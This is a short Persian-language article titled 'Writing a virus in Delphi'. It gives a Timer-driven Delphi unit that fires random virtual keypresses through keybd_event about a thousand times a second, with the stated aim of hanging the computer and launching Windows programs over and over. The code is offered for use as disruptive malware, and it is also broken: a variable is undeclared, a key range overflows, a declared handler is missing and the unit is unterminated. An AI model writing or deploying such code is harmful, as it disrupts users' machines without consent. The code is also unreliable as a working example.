نوشتن ویروس در دلفی
این کد تمام کلیدهای کی برد را می فشارد (مجازی) انتخاب کلید به صورت random است و هر ثانیه هزار بار این اتفاق روی میدهد.در این صورت رایانه قطعا هنگ می کند.با این کار ماشین حساب ویندوز و تمام نرم افزار های ویندوز اجرا می شود(از هر کدام صدها بار)
یک Timer بگذارید.Interval آن را برابر ۱ بگذارید.دو بار روی آن کلیک کرده و از کد زیر استفاده کنید:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Memo1: TMemo;
Timer1: TTimer;
procedure Button1Click(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
//Copyright 2005 koosha system software
uses Math;
{$R *.dfm}
procedure x(key:byte;e:DWORD);
begin
keybd_event(key,e,0,0);
keybd_event(key,e,KEYEVENTF_KEYUP,0);
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
a:=Random(3945);
x(a,1);
end;
end
این مقاله از آقای کوشا نخعی است ( کم سن وسال ترین برنامه نویس ایران) ....